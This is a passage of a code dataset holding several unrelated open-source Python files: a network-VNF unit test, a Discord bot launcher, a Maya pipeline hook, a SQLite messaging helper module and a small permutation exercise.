'30131',\n 'RX:overrun': '0',\n 'RX:packets': '3202213',\n 'RX errors:length': '0',\n 'RX errors:crc': '0',\n 'RX errors:frame': '0',\n 'RX errors:fifo': '0',\n 'RX errors:missed': '0',\n 'TX:bytes': '646221183',\n 'TX:carrier': '0',\n 'TX:collsns': '0',\n 'TX:dropped': '0',\n 'TX:errors': '0',\n 'TX:packets': '2145799',\n 'TX errors:aborted': '0',\n 'TX errors:fifo': '0',\n 'TX errors:window': '0',\n 'TX errors:heartbeat': '0',\n }\n\n def test___init__(self):\n vnfd = self.VNFD['vnfd:vnfd-catalog']['vnfd'][0]\n router_vnf = RouterVNF(name, vnfd)\n self.assertIsNone(router_vnf._vnf_process)\n\n def test_get_stats(self):\n stats = RouterVNF.get_stats(self.IP_SHOW_STATS_OUTPUT)\n self.assertDictEqual(stats, self.STATS)\n\n @mock.patch.object(ctx_base.Context, 'get_physical_node_from_server', return_value='mock_node')\n @mock.patch(\"yardstick.network_services.vnf_generic.vnf.sample_vnf.time\")\n @mock.patch(SSH_HELPER)\n def test_collect_kpi(self, ssh, *args):\n m = mock_ssh(ssh)\n\n vnfd = self.VNFD['vnfd:vnfd-catalog']['vnfd'][0]\n router_vnf = RouterVNF(name, vnfd)\n router_vnf.scenario_helper.scenario_cfg = {\n 'nodes': {router_vnf.name: \"mock\"}\n }\n router_vnf.ssh_helper = m\n result = {\n 'physical_node': 'mock_node',\n 'packets_dropped': 0,\n 'packets_fwd': 0,\n 'packets_in': 0,\n 'link_stats': {}\n }\n self.assertEqual(result, router_vnf.collect_kpi())\n\n @mock.patch(SSH_HELPER)\n def test_run_router(self, ssh):\n mock_ssh(ssh)\n\n vnfd = self.VNFD['vnfd:vnfd-catalog']['vnfd'][0]\n router_vnf = RouterVNF(name, vnfd)\n router_vnf.scenario_helper.scenario_cfg = self.scenario_cfg\n router_vnf._run()\n router_vnf.ssh_helper.drop_connection.assert_called_once()\n\n @mock.patch.object(ctx_base, 'Context')\n @mock.patch(SSH_HELPER)\n def test_instantiate(self, ssh, *args):\n mock_ssh(ssh)\n\n vnfd = self.VNFD['vnfd:vnfd-catalog']['vnfd'][0]\n router_vnf = RouterVNF(name, vnfd)\n router_vnf.WAIT_TIME = 0\n router_vnf.INTERFACE_WAIT = 0\n self.scenario_cfg.update({\"nodes\": {\"vnf__1\": \"\"}})\n self.assertIsNone(router_vnf.instantiate(self.scenario_cfg,\n self.context_cfg))\n\n @mock.patch(\"yardstick.network_services.vnf_generic.vnf.sample_vnf.time\")\n @mock.patch(SSH_HELPER)\n def test_terminate(self, ssh, _):\n mock_ssh(ssh)\n\n vnfd = self.VNFD['vnfd:vnfd-catalog']['vnfd'][0]\n router_vnf = RouterVNF(name, vnfd)\n router_vnf._vnf_process = mock.MagicMock()\n router_vnf._vnf_process.terminate = mock.Mock()\n self.assertIsNone(router_vnf.terminate())\n","repo_name":"opnfv/yardstick","sub_path":"yardstick/tests/unit/network_services/vnf_generic/vnf/test_router_vnf.py","file_name":"test_router_vnf.py","file_ext":"py","file_size_in_byte":11217,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"47"} +{"seq_id":"2058338045","text":"from __future__ import print_function\r\nfrom time import gmtime, strftime\r\nimport os\r\nimport sys\r\nimport time\r\nimport logging\r\nimport tempfile\r\nimport colorlog\r\nimport traceback\r\nimport subprocess\r\nimport discord\r\n\r\ntmpfile = tempfile.TemporaryFile('w+', encoding='utf8')\r\nlog = logging.getLogger('launcher')\r\nlog.setLevel(logging.DEBUG)\r\n\r\nsh = logging.StreamHandler(stream=sys.stdout)\r\nsh.setFormatter(logging.Formatter(\r\n fmt=\"[%(levelname)s] %(name)s: %(message)s\"\r\n))\r\n\r\nsh.setLevel(logging.INFO)\r\nlog.addHandler(sh)\r\n\r\ntfh = logging.StreamHandler(stream=tmpfile)\r\ntfh.setFormatter(logging.Formatter(\r\n fmt=\"[%(levelname)s] %(name)s: %(message)s\"\r\n))\r\ntfh.setLevel(logging.DEBUG)\r\nlog.addHandler(tfh)\r\n\r\n\r\ndef finalize_logging():\r\n pass\r\n\r\n with open(\"logs/bot.log\", 'w', encoding='utf8') as f:\r\n tmpfile.seek(0)\r\n f.write(tmpfile.read())\r\n tmpfile.close()\r\n\r\n f.write('\\n')\r\n f.write(\" PRE-RUN SANITY CHECKS PASSED \".center(80, '#'))\r\n f.write('\\n\\n\\n')\r\n\r\n global tfh\r\n log.removeHandler(tfh)\r\n del tfh\r\n\r\n fh = logging.FileHandler(\"logs/bot.log\", mode='a')\r\n fh.setFormatter(logging.Formatter(\r\n fmt=\"[%(levelname)s]: %(message)s\"\r\n ))\r\n fh.setLevel(logging.DEBUG)\r\n log.addHandler(fh)\r\n\r\n sh.setLevel(logging.INFO)\r\n\r\n dlog = logging.getLogger('discord')\r\n dlog.setLevel(logging.WARNING)\r\n dlh = logging.StreamHandler(stream=sys.stdout)\r\n dlh.terminator = ''\r\n dlh.setFormatter(logging.Formatter('.'))\r\n dlog.addHandler(dlh)\r\n\r\n\r\ndef pyexec(pycom, *args, pycom2=None):\r\n pycom2 = pycom2 or pycom\r\n os.execlp(pycom, pycom2, *args)\r\n\r\n\r\ndef restart(*args):\r\n pyexec(sys.executable, *args, *sys.argv, pycom2='python')\r\n\r\n\r\ndef main():\r\n if not os.path.exists(\"data\"):\r\n log.info(\"Creating data folder\")\r\n os.mkdir(\"data\")\r\n if not os.path.isfile(\"data/options.ini\"):\r\n log.critical(\"options.ini doesnt exist\")\r\n exit()\r\n if not os.path.isfile(\"data/permissions.ini\"):\r\n log.critical(\"permissions.ini doesnt exist\")\r\n exit()\r\n if not os.path.isfile(\"data/blacklist.txt\"):\r\n log.warning(\"blacklist.txt doesnt exist\")\r\n target = open(\"data/blacklist.txt\", \"w\")\r\n target.writelines(\" \")\r\n target.close()\r\n if not os.path.exists(\"logs\"):\r\n log.info(\"Creating logging folder\")\r\n os.mkdir(\"logs\")\r\n if not os.path.exists(\"code\"):\r\n log.critical(\"THERE IS NO CODE!!!\")\r\n os.mkdir(\"code\")\r\n log.info(\"Created code folder, shutting down\")\r\n exit()\r\n if not os.path.isfile(\"code/bot.py\"):\r\n log.critical(\"THE BOT SCRIPT IS GONE!!!\")\r\n log.critical(\"ABORTING BOOT\")\r\n exit()\r\n if not os.path.isfile(\"logmein.py\"):\r\n log.warning(\"The token script isnt here. HOW DO YOU EXPECT ME TO LOGIN???\")\r\n code = \"\"\"def token():\r\n token = \"[put your token here]\"\r\n return token\"\"\"\r\n target = open(\"logmein.py\", \"w\")\r\n target.writelines(code)\r\n target.close()\r\n log.warning(\"There, ive made it for you. Slap the token in it, then boot me back up\")\r\n exit()\r\n if not os.path.exists(\"user\"):\r\n log.warning(\"User folder doesnt exist\")\r\n log.warning(\"creating user folder\")\r\n os.mkdir(\"user\")\r\n if not os.path.isfile(\"level_blck.txt\"):\r\n log.info(\"level blacklisting file doesnt exist\")\r\n target = open(\"level_blck.txt\", \"w\")\r\n target.writelines(\"placeholder \")\r\n target.close()\r\n else:\r\n try:\r\n import logmein\r\n except SyntaxError or ImportError:\r\n log.critical(\"something is wrong with logmein.py, you should fix that\")\r\n exit()\r\n token = logmein.token()\r\n if token == \"[put your token here]\":\r\n log.critical(\"YOU DUMB FUCK, HOW DO YOU EXPECT ME TO LOG IN IF YOU DONT GIVE ME A VALID TOKEN\")\r\n exit()\r\n log.info(\"All the files are there, well done genius. Now lets import them and get memin on Discord\")\r\n finalize_logging()\r\n tryagain = True\r\n\r\n while tryagain:\r\n h = None\r\n from code import Helix\r\n h = Helix()\r\n\r\n log.info(\"Connecting\\n\")\r\n\r\n h.run()\r\n log.info(\"All done.\")\r\n\r\nif __name__ == '__main__':\r\n try:\r\n main()\r\n except Exception as e:\r\n log.fatal(\"Bot runtime has been terminated\")\r\n log.fatal(e)\r\n os.execl(sys.executable, sys.executable, *sys.argv)","repo_name":"LordOfPolls/HelixLegacy","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27157208272","text":"# Copyright (c) 2013 Shotgun Software Inc.\r\n# \r\n# CONFIDENTIAL AND PROPRIETARY\r\n# \r\n# This work is provided \"AS IS\" and subject to the Shotgun Pipeline Toolkit \r\n# Source Code License included in this distribution package. See LICENSE.\r\n# By accessing, using, copying or modifying this work you indicate your \r\n# agreement to the Shotgun Pipeline Toolkit Source Code License. All rights \r\n# not expressly granted therein are reserved by Shotgun Software Inc.\r\n\r\n\"\"\"\r\nHook that loads animation shot into the current FX scene. \r\n\r\nThis hook supports a number of different platforms and the behaviour on each platform is\r\ndifferent. See code comments for details.\r\n\r\n\r\n\"\"\"\r\nimport tank, os, sgtk, sys\r\n## Custom stuff\r\nimport maya.mel as mel\r\nif 'T:/software/lsapipeline/custom' not in sys.path:\r\n sys.path.append('T:/software/lsapipeline/custom')\r\nif 'T:/software/lsapipeline/install/apps/tk-bbb-mayaOcean' not in sys.path:\r\n sys.path.append('T:/software/lsapipeline/install/apps/tk-bbb-mayaOcean')\r\nimport maya_asset_MASTERCLEANUPCODE as cleanup\r\nfrom debug import debug\r\n#reload(cleanup)\r\n\r\nclass AddFileToScene(tank.Hook):\r\n \r\n def execute(self, engine_name, file_path, shotgun_data, **kwargs):\r\n \"\"\"\r\n Hook entry point and app-specific code dispatcher\r\n \"\"\"\r\n \r\n if engine_name == \"tk-maya\":\r\n self.add_file_to_maya(file_path, shotgun_data)\r\n\r\n else:\r\n raise Exception(\"Don't know how to load file into unknown engine %s\" % engine_name)\r\n \r\n ###############################################################################################\r\n # app specific implementations\r\n \r\n def add_file_to_maya(self, file_path, shotgun_data):\r\n \"\"\"\r\n Load file into Maya.\r\n \r\n This implementation creates a standard maya reference file for any item.\r\n \"\"\"\r\n \r\n import pymel.core as pm\r\n import maya.cmds as cmds\r\n \r\n # get the slashes right\r\n file_path = file_path.replace(os.path.sep, \"/\")\r\n debug(app = None, method = 'add_file_to_maya', message = 'file_path: %s' % file_path, verbose = False)\r\n #file_path: I:/lsapipeline/episodes/eptst/eptst_sh2000/Anm/publish/maya/eptstsh2000.v002.mb\r\n \r\n \r\n file_version = int(file_path.split('.')[1].split('v')[-1])\r\n debug(app = None, method = 'add_file_to_maya', message = 'file_version: %s' % file_version, verbose = False)\r\n \r\n (path, ext) = os.path.splitext(file_path)\r\n \r\n if ext in [\".ma\", \".mb\"]:\r\n ## Open the blocking file\r\n cmds.file(file_path, o = True, f = True)\r\n \r\n ## Cleanup unknown nodes to make sure we can save from mb back to ma\r\n for each in cmds.ls():\r\n if cmds.nodeType(each) == 'unknown':\r\n cmds.delete(each)\r\n \r\n ## Build the script node for the FX app.py to use as the current version number of the oceanPreset\r\n if not cmds.objExists('fxNugget'):\r\n cmds.scriptNode(n ='fxNugget')\r\n cmds.addAttr('fxNugget', ln = 'animVersion', at = 'long')\r\n cmds.setAttr('fxNugget.animVersion', file_version)\r\n ## Save the animation file as the next working file in the FX folder\r\n tk = sgtk.sgtk_from_path(\"T:/software/bubblebathbay\")\r\n getEntity = shotgun_data['entity']\r\n shotName = getEntity['name']\r\n work_template = tk.templates['shot_work_area_maya']\r\n pathToWorking = r'%s' % tk.paths_from_template(work_template, {\"Shot\" : shotName, \"Step\":'FX'})[0]\r\n pathToWorking.replace('\\\\\\\\', '\\\\')\r\n debug(app = None, method = 'add_file_to_maya', message = 'pathToWorking: %s' % pathToWorking, verbose = False)\r\n ## Scan the folder and find the highest version number\r\n fileShotName = \"\".join(shotName.split('_'))\r\n padding = ''\r\n versionNumber = ''\r\n \r\n if os.path.exists(pathToWorking):\r\n getfiles = os.listdir(pathToWorking)\r\n\r\n ## Remove the stupid Keyboard folder if it exists.. thx autodesk.. not\r\n if 'Keyboard' in getfiles:\r\n getfiles.remove('Keyboard')\r\n \r\n ## Process a clean list now.. trying to remove from the current list is giving me grief and I'm too fn tired to care...\r\n finalFiles = []\r\n for each in getfiles:\r\n if each.split('.')[0] == fileShotName:\r\n finalFiles.append(each)\r\n else:\r\n pass\r\n\r\n if finalFiles:\r\n highestVersFile = max(finalFiles)\r\n versionNumber = int(highestVersFile.split('.')[1].split('v')[1]) + 1\r\n else:\r\n versionNumber = 1\r\n \r\n ## Now pad the version number\r\n if versionNumber < 10:\r\n padding = '00'\r\n elif versionNumber < 100:\r\n padding = '0'\r\n else:\r\n padding = ''\r\n \r\n ## Rename the file\r\n #print 'FinalFilePath: %s\\%s.v%s%s' % (pathToWorking, fileShotName, padding, versionNumber) \r\n renameTo = '%s\\%s.v%s%s' % (pathToWorking, fileShotName, padding, versionNumber)\r\n ## Now rename the file\r\n cmds.file(rename = renameTo)\r\n ## Now save this as a working version in the animation working folder\r\n cmds.file(save = True, force = True, type = 'mayaAscii')\r\n cmds.workspace(pathToWorking, openWorkspace = True)\r\n cleanup.turnOnModelEditors()\r\n \r\n \r\n else:\r\n self.parent.log_error(\"Unsupported file extension for %s! Nothing will be loaded.\" % file_path)\r\n","repo_name":"vipul-rathod/lsapipeline","sub_path":"config/hooks/maya_add_animaton_to_scene.py","file_name":"maya_add_animaton_to_scene.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14306763544","text":"# Author: Jorge Alarcon Alvarez\n# Email: jorge4larcon@gmail.com\n\"\"\"This module provides an API for database related operations.\"\"\"\n\nimport sqlite3\nimport os\nimport datetime\nimport operator\nimport logging\n\nDB_PATH = None\n\nCONFIGURATION_FIELDS = {\n 'mac_address': {'editable': True, 'validator': None},\n 'username': {'editable': True, 'validator': None},\n 'ipv4_address': {'editable': True, 'validator': None},\n 'ipv6_address': {'editable': True, 'validator': None},\n 'inbox_port': {'editable': True, 'validator': None},\n 'ftp_port': {'editable': True, 'validator': None},\n 'ftp_banner': {'editable': True, 'validator': None},\n 'ftp_max_connections': {'editable': True, 'validator': None},\n 'ftp_max_connections_per_ip': {'editable': True, 'validator': None},\n 'ftp_folder': {'editable': True, 'validator': None},\n 'ftp_users_can_upload_files': {'editable': True, 'validator': None},\n 'interlocutor_address': {'editable': True, 'validator': None},\n 'interlocutor_port': {'editable': True, 'validator': None},\n 'interlocutor_password': {'editable': True, 'validator': None},\n 'get_only_by_mac': {'editable': True, 'validator': None}\n}\n\nCONTACT_FIELDS = {\n 'mac_address': {'editable': False, 'validator': None},\n 'name': {'editable': True, 'validator': None},\n 'ipv4_address': {'editable': True, 'validator': None},\n 'ipv6_address': {'editable': True, 'validator': None},\n 'inbox_port': {'editable': True, 'validator': None},\n 'ftp_port': {'editable': True, 'validator': None}\n}\n\nSENT_MESSAGE_FIELDS = {\n 'sent_timestamp': {'editable': False, 'validator': None},\n 'receiver_contact': {'editable': True, 'validator': None},\n 'content': {'editable': True, 'validator': None},\n 'received_timestamp': {'editable': True, 'validator': None}\n}\n\nRECEIVED_MESSAGE_FIELDS = {\n 'received_timestamp': {'editable': False, 'validator': None},\n 'sender_contact': {'editable': True, 'validator': None},\n 'content': {'editable': True, 'validator': None},\n 'sent_timestamp': {'editable': True, 'validator': None}\n}\n\n\ndef unwrap_get_configuration(function):\n \"\"\"This is a decorating function to return the values​of the decorated function in the form of a list\"\"\"\n def configuration_unwrapper(*args):\n len_args = len(args)\n if len_args < 2:\n raise TypeError(f'get_configuration() takes at least 2 arguments ({len_args} given)')\n dict_of_fields = function(*args)\n if len(dict_of_fields) == 1:\n return dict_of_fields.popitem()[1]\n\n values = [dict_of_fields.get(field) for field in args[1:]]\n return values\n\n return configuration_unwrapper\n\n\ndef unwrap_get_contact(function):\n \"\"\"This is a decorating function to return the values​of the decorated function in the form of a list\"\"\"\n def contact_unwrapper(*args, **kwargs):\n len_args = len(args)\n if len_args < 3:\n raise TypeError(f'get_contact() takes at least 3 arguments ({len_args} given)')\n dict_of_fields = function(*args, **kwargs)\n if len(dict_of_fields) == 1:\n return dict_of_fields.popitem()[1]\n\n values = [dict_of_fields.get(field) for field in args[2:]]\n return values\n\n return contact_unwrapper\n\n\ndef unwrap_get_sent_message(function):\n \"\"\"This is a decorating function to return the values​of the decorated function in the form of a list\"\"\"\n def sent_message_unwrapper(*args, **kwargs):\n len_args = len(args)\n if len_args < 3:\n raise TypeError(f'get_sent_message() takes at least 3 arguments ({len_args} given)')\n dict_of_fields = function(*args, **kwargs)\n if len(dict_of_fields) == 1:\n return dict_of_fields.popitem()[1]\n\n values = [dict_of_fields.get(field) for field in args[2:]]\n return values\n\n return sent_message_unwrapper\n\n\ndef unwrap_get_received_message(function):\n \"\"\"This is a decorating function to return the values​of the decorated function in the form of a list\"\"\"\n def received_message_unwrapper(*args, **kwargs):\n len_args = len(args)\n if len_args < 3:\n raise TypeError(f'get_received_message() takes at least 3 arguments ({len_args} given)')\n dict_of_fields = function(*args, **kwargs)\n if len(dict_of_fields) == 1:\n return dict_of_fields.popitem()[1]\n\n values = [dict_of_fields.get(field) for field in args[2:]]\n return values\n\n return received_message_unwrapper\n\n\ndef update_configuration(conn: sqlite3.Connection, **kwargs):\n \"\"\"This function is used to modify the `Configuration` table in the database.\"\"\"\n fields = [*filter(lambda f: f in CONFIGURATION_FIELDS and CONFIGURATION_FIELDS[f]['editable'], kwargs)]\n if fields:\n values = [kwargs[field] for field in fields]\n statement = f\"UPDATE Configuration SET {'= ?, '.join(fields)} = ?\"\n with conn:\n conn.execute(statement, values)\n\n\n@unwrap_get_configuration\ndef get_configuration(conn: sqlite3.Connection, *args):\n \"\"\"This function is used to retrieve data from the `Configuration` table in the database.\"\"\"\n fields = [*filter(lambda f: f in CONFIGURATION_FIELDS, args)]\n if fields:\n with conn:\n statement = (f\"SELECT {', '.join(fields)} FROM Configuration\")\n values = conn.execute(statement).fetchone()\n return dict(zip(fields, values))\n\n\ndef insert_contact(conn: sqlite3.Connection, mac_address, name='Muhammad', ipv4_address='', ipv6_address='',\n inbox_port=42000, ftp_port=21):\n \"\"\"This function is used to insert a contact in the database.\"\"\"\n statement = 'INSERT INTO Contact(mac_address, name, ipv4_address, ipv6_address, inbox_port, ftp_port) ' \\\n 'VALUES (?, ?, ?, ?, ?, ?)'\n with conn:\n conn.execute(statement, (mac_address, name, ipv4_address, ipv6_address, inbox_port, ftp_port))\n\n\ndef update_contact(conn: sqlite3.Connection, mac_address, **kwargs):\n \"\"\"This function is used to update a contact in the database.\"\"\"\n fields = [*filter(lambda f: f in CONTACT_FIELDS and CONTACT_FIELDS[f]['editable'], kwargs)]\n if fields:\n values = [kwargs[field] for field in fields]\n values.append(mac_address)\n statement = f\"UPDATE Contact SET {'= ?, '.join(fields)} = ? WHERE mac_address = ?\"\n with conn:\n conn.execute(statement, values)\n\n\ndef delete_contact(conn: sqlite3.Connection, mac_address):\n \"\"\"This function is used to erase a contact in the database.\"\"\"\n with conn:\n conn.execute('DELETE FROM Contact WHERE mac_address = ?', (mac_address,))\n\n\n@unwrap_get_contact\ndef get_contact(conn: sqlite3.Connection, mac_address, *args):\n \"\"\"This function is used to select a contact in the database.\"\"\"\n fields = [*filter(lambda f: f in CONTACT_FIELDS, args)]\n if fields:\n with conn:\n statement = f\"SELECT {', '.join(fields)} FROM Contact WHERE mac_address = ?\"\n values = conn.execute(statement, (mac_address,)).fetchone()\n if not values:\n raise sqlite3.Error(f\"The Contact with the mac_address '{mac_address}' does not exist\")\n return dict(zip(fields, values))\n\n\ndef contacts(conn: sqlite3.Connection, mac_address=None):\n \"\"\"This function is used to select all contacts in the database.\"\"\"\n with conn:\n return conn.execute(\n 'SELECT mac_address, name, ipv4_address, ipv6_address, inbox_port, ftp_port FROM Contact ORDER BY name ASC').fetchall()\n\n\ndef last_sent_messages(conn: sqlite3.Connection, limit=10):\n \"\"\"This function is used to select the last sent messages in the database.\"\"\"\n statement = 'SELECT DISTINCT MAX(sent_timestamp), receiver_contact, name FROM SentMessage, Contact WHERE receiver_contact = mac_address GROUP BY receiver_contact ORDER BY sent_timestamp DESC LIMIT ?;'\n with conn:\n return conn.execute(statement, (limit,)).fetchall()\n\n\ndef last_sent_messages_to_contact(conn: sqlite3.Connection, mac_address, limit=10):\n \"\"\"This function is used to select the last sent messages to an specific contact in the database.\"\"\"\n statement = 'SELECT sent_timestamp, received_timestamp, receiver_contact, name, content FROM SentMessage, Contact WHERE receiver_contact = ? AND receiver_contact = mac_address ORDER BY sent_timestamp DESC LIMIT ?;'\n with conn:\n return conn.execute(statement, (mac_address, limit))\n\n\ndef insert_sent_message(conn: sqlite3.Connection, sent_timestamp, receiver_contact, content, received_timestamp):\n \"\"\"This function is used to insert a sent message in the database.\"\"\"\n statement = 'INSERT INTO SentMessage(sent_timestamp, receiver_contact, content, received_timestamp) ' \\\n 'VALUES (?, ?, ?, ?)'\n with conn:\n conn.execute(statement, (sent_timestamp, receiver_contact, content, received_timestamp))\n\n\ndef update_sent_message(conn: sqlite3.Connection, sent_timestamp, **kwargs):\n \"\"\"This function is used to update a sent message in the database.\"\"\"\n fields = [*filter(lambda f: f in SENT_MESSAGE_FIELDS and SENT_MESSAGE_FIELDS[f]['editable'], kwargs)]\n if fields:\n values = [kwargs[field] for field in fields]\n values.append(sent_timestamp)\n statement = f\"UPDATE SentMessage SET {'= ?, '.join(fields)} = ? WHERE sent_timestamp = ?\"\n with conn:\n conn.execute(statement, values)\n\n\ndef delete_sent_message(conn: sqlite3.Connection, sent_timestamp):\n \"\"\"This function is used to delete a sent message in the database.\"\"\"\n with conn:\n conn.execute('DELETE FROM SentMessage WHERE sent_timestamp = ?', (sent_timestamp,))\n\n\n@unwrap_get_sent_message\ndef get_sent_message(conn: sqlite3.Connection, sent_timestamp, *args):\n \"\"\"This function is used to select a sent message in the database.\"\"\"\n fields = [*filter(lambda f: f in SENT_MESSAGE_FIELDS, args)]\n if fields:\n with conn:\n statement = (f\"SELECT {', '.join(fields)} FROM SentMessage WHERE sent_timestamp = ?\")\n values = conn.execute(statement, (sent_timestamp,)).fetchone()\n if not values:\n raise sqlite3.Error(f\"The SentMessage with the sent_timestamp '{sent_timestamp}' does not exist\")\n return dict(zip(fields, values))\n\n\ndef sent_messages(conn: sqlite3.Connection):\n \"\"\"This function is used to select every sent message in the database.\"\"\"\n with conn:\n return conn.execute(\n 'SELECT sent_timestamp, receiver_contact, content, received_timestamp FROM SentMessage ORDER BY sent_timestamp DESC').fetchall()\n\n\ndef insert_received_message(conn: sqlite3.Connection, received_timestamp, sender_contact, content, sent_timestamp):\n \"\"\"This function is used to insert a received message in the database.\"\"\"\n statement = 'INSERT INTO ReceivedMessage(received_timestamp, sender_contact, content, sent_timestamp) ' \\\n 'VALUES (?, ?, ?, ?)'\n with conn:\n conn.execute(statement, (received_timestamp, sender_contact, content, sent_timestamp))\n\n\ndef last_received_messages(conn: sqlite3.Connection, limit=10):\n \"\"\"This function is used to select the last received messages in the database.\"\"\"\n # Use of distinc, max and group by to get the last n messages\n statement = 'SELECT DISTINCT MAX(received_timestamp), sender_contact, name FROM ReceivedMessage, Contact WHERE sender_contact = mac_address GROUP BY sender_contact ORDER BY received_timestamp DESC LIMIT ?'\n with conn:\n return conn.execute(statement, (limit,)).fetchall()\n\n\ndef last_received_messages_from_contact(conn: sqlite3.Connection, mac_address, limit=10):\n \"\"\"This function is used to select the received messages to an specific contact in the database.\"\"\"\n statement = 'SELECT received_timestamp, sent_timestamp, sender_contact, name, content FROM ReceivedMessage, Contact WHERE sender_contact = ? AND sender_contact = mac_address ORDER BY received_timestamp DESC LIMIT ?'\n with conn:\n return conn.execute(statement, (mac_address, limit))\n\n\ndef update_received_message(conn: sqlite3.Connection, sent_timestamp, **kwargs):\n \"\"\"This function is used to update a received message in the database.\"\"\"\n fields = [*filter(lambda f: f in RECEIVED_MESSAGE_FIELDS and RECEIVED_MESSAGE_FIELDS[f]['editable'], kwargs)]\n if fields:\n values = [kwargs[field] for field in fields]\n values.append(sent_timestamp)\n statement = f\"UPDATE ReceivedMessage SET {'= ?, '.join(fields)} = ? WHERE received_timestamp = ?\"\n with conn:\n conn.execute(statement, values)\n\n\ndef delete_received_message(conn: sqlite3.Connection, received_timestamp):\n \"\"\"This function is used to delete a received message in the database.\"\"\"\n with conn:\n conn.execute('DELETE FROM ReceivedMessage WHERE received_timestamp = ?', (received_timestamp,))\n\n\n@unwrap_get_received_message\ndef get_received_message(conn: sqlite3.Connection, received_timestamp, *args):\n \"\"\"This function is used to select a received message in the database.\"\"\"\n fields = [*filter(lambda f: f in RECEIVED_MESSAGE_FIELDS, args)]\n if fields:\n with conn:\n statement = (f\"SELECT {', '.join(fields)} FROM ReceivedMessage WHERE received_timestamp = ?\")\n values = conn.execute(statement, (received_timestamp,)).fetchone()\n if not values:\n raise sqlite3.Error(\n f\"The ReceivedMessage with the received_timestamp '{received_timestamp}' does not exist\")\n return dict(zip(fields, values))\n\n\ndef received_messages(conn: sqlite3.Connection):\n \"\"\"This function is used to select every received message in the database.\"\"\"\n with conn:\n return conn.execute(\n 'SELECT received_timestamp, sender_contact, content, sent_timestamp FROM ReceivedMessage ORDER BY received_timestamp DESC').fetchall()\n\n\ndef last_sent_or_received_messages_from_contact(conn: sqlite3.Connection, mac_address, limit=10):\n \"\"\"This function is used to select the last sent or received messages from a specific contact.\"\"\"\n received_messages = last_received_messages_from_contact(conn, mac_address, limit)\n sent_messages = last_sent_messages_to_contact(conn, mac_address, limit)\n messages = []\n\n for received in received_messages:\n message = {\n 'mac_address': received['sender_contact'],\n 'name': received['name'],\n 'timestamp': datetime.datetime.fromisoformat(received['received_timestamp']),\n 'sent_timestamp': datetime.datetime.fromisoformat(received['sent_timestamp']),\n 'content': received['content'],\n 'type': 'received'\n }\n messages.append(message)\n\n for sent in sent_messages:\n message = {\n 'mac_address': sent['receiver_contact'],\n 'name': sent['name'],\n 'timestamp': datetime.datetime.fromisoformat(sent['sent_timestamp']),\n 'received_timestamp': datetime.datetime.fromisoformat(sent['received_timestamp']),\n 'content': sent['content'],\n 'type': 'sent'\n }\n messages.append(message)\n\n messages = sorted(messages, key=operator.itemgetter('timestamp'), reverse=True)\n return messages[:limit]\n\n\ndef last_sent_received_messages(conn: sqlite3.Connection, limit=10):\n \"\"\"This function is used to select the last sent or received messages in the database.\"\"\"\n last_sent = last_sent_messages(conn, limit)\n last_received = last_received_messages(conn, limit)\n last_messenguers = []\n\n for received in last_received:\n contact = {\n 'mac_address': received['sender_contact'],\n 'timestamp': datetime.datetime.fromisoformat(received['MAX(received_timestamp)']),\n 'name': received['name']\n }\n last_messenguers.append(contact)\n\n for sent in last_sent:\n contact = {\n 'mac_address': sent['receiver_contact'],\n 'timestamp': datetime.datetime.fromisoformat(sent['MAX(sent_timestamp)']),\n 'name': sent['name'],\n }\n exist = False\n for messenguer in last_messenguers:\n if messenguer['mac_address'] == contact['mac_address']:\n logging.debug(f\"The contact '{messenguer['mac_address']}' exists\")\n exist = True\n messenger_timestamp = messenguer['timestamp']\n if contact['timestamp'] > messenger_timestamp:\n logging.debug(f\"Updating timestamp\")\n logging.debug(f\"Old timestamp: {messenguer['timestamp'].isoformat()}\")\n messenguer['timestamp'] = contact['timestamp']\n logging.debug(f\"New timestamp: {messenguer['timestamp'].isoformat()}\")\n\n if not exist:\n last_messenguers.append(contact)\n\n last_messenguers = sorted(last_messenguers, key=operator.itemgetter('timestamp'), reverse=True)\n return last_messenguers\n\n\ndef get_connection():\n \"\"\"This function is used to get a connection to the database.\"\"\"\n if DB_PATH:\n conn = sqlite3.connect(DB_PATH)\n conn.row_factory = sqlite3.Row\n conn.execute(\"PRAGMA foreign_keys = ON\")\n return conn\n else:\n raise Exception('The database path has not been defined')\n\n\ndef set_dbpath(path):\n \"\"\"This function is used to set where the database path is.\"\"\"\n if os.path.isfile(path):\n global DB_PATH\n DB_PATH = path\n else:\n raise FileNotFoundError(f\"No such file: '{path}')\")\n\n\nif __name__ == '__main__':\n from configuration import debug_database_path\n from pprint import pprint\n\n set_dbpath(debug_database_path())\n conn = get_connection()\n\n print('Last messages with McGleen')\n\n messages = last_sent_or_received_messages_from_contact(conn, 'eeee.fefe.acdf', limit=10)\n for m in messages:\n print(m)\n\n # last_messages_from_mcgleen = last_received_messages_from_contact(conn, 'eeee.fefe.acdf', 1)\n # for m in last_messages_from_mcgleen:\n # print(dict(m))\n #\n # print('Las messages to McGleen')\n # last_messages_to_mcgleen = last_sent_messages_to_contact(conn, 'eeee.fefe.acdf', 1)\n # for m in last_messages_to_mcgleen:\n # print(dict(m))\n conn.close()\n # last_messages = last_sent_received_messages(conn)\n # for m in last_messages:\n # print(m)\n","repo_name":"midir99/hotline","sub_path":"hotline/dbfunctions.py","file_name":"dbfunctions.py","file_ext":"py","file_size_in_byte":18371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34389098278","text":"def per(num, P):\n result = []\n if num == M:\n return [P]\n else:\n for i in range(len(d)):\n if v[i] == True:\n continue\n v[i] = True\n result += per(num+1, P+[d[i]])\n v[i] = False\n return result\n\nN,M=map(int,input().split())\nd=list(map(int,input().split()))\nv=[False]*N\na=per(0,[])\na.sort()\nfor i in range(len(a)):\n print(*a[i])","repo_name":"gemnsh/BJ_Coding","sub_path":"백준/Silver/15654. N과 M (5)/N과 M (5).py","file_name":"N과 M (5).py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4779770626","text":"import unittest\nfrom rigel.exceptions import (\n EmptyRigelfileError,\n IncompleteRigelfileError,\n InvalidPluginNameError,\n PluginInstallationError,\n PluginNotCompliantError,\n PluginNotFoundError,\n 